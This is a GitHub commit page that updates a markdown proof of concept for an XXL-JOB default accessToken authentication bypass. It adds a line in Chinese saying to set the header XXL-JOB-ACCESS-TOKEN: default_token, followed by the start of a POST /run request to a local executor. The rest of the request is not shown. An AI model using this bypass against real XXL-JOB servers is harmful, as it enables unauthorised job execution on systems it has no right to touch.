Update XXL-JOB默认accessToken身份绕过漏洞.md

This commit is contained in:
wy876 2023-11-03 15:03:10 +08:00 committed by GitHub
parent 24c0756aea
commit c78b58712b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -7,6 +7,8 @@
``` ```
## poc ## poc
请求头加上XXL-JOB-ACCESS-TOKEN: default_token
``` ```
POST /run HTTP/1.1 POST /run HTTP/1.1
Host: 127.0.0.1:9999 Host: 127.0.0.1:9999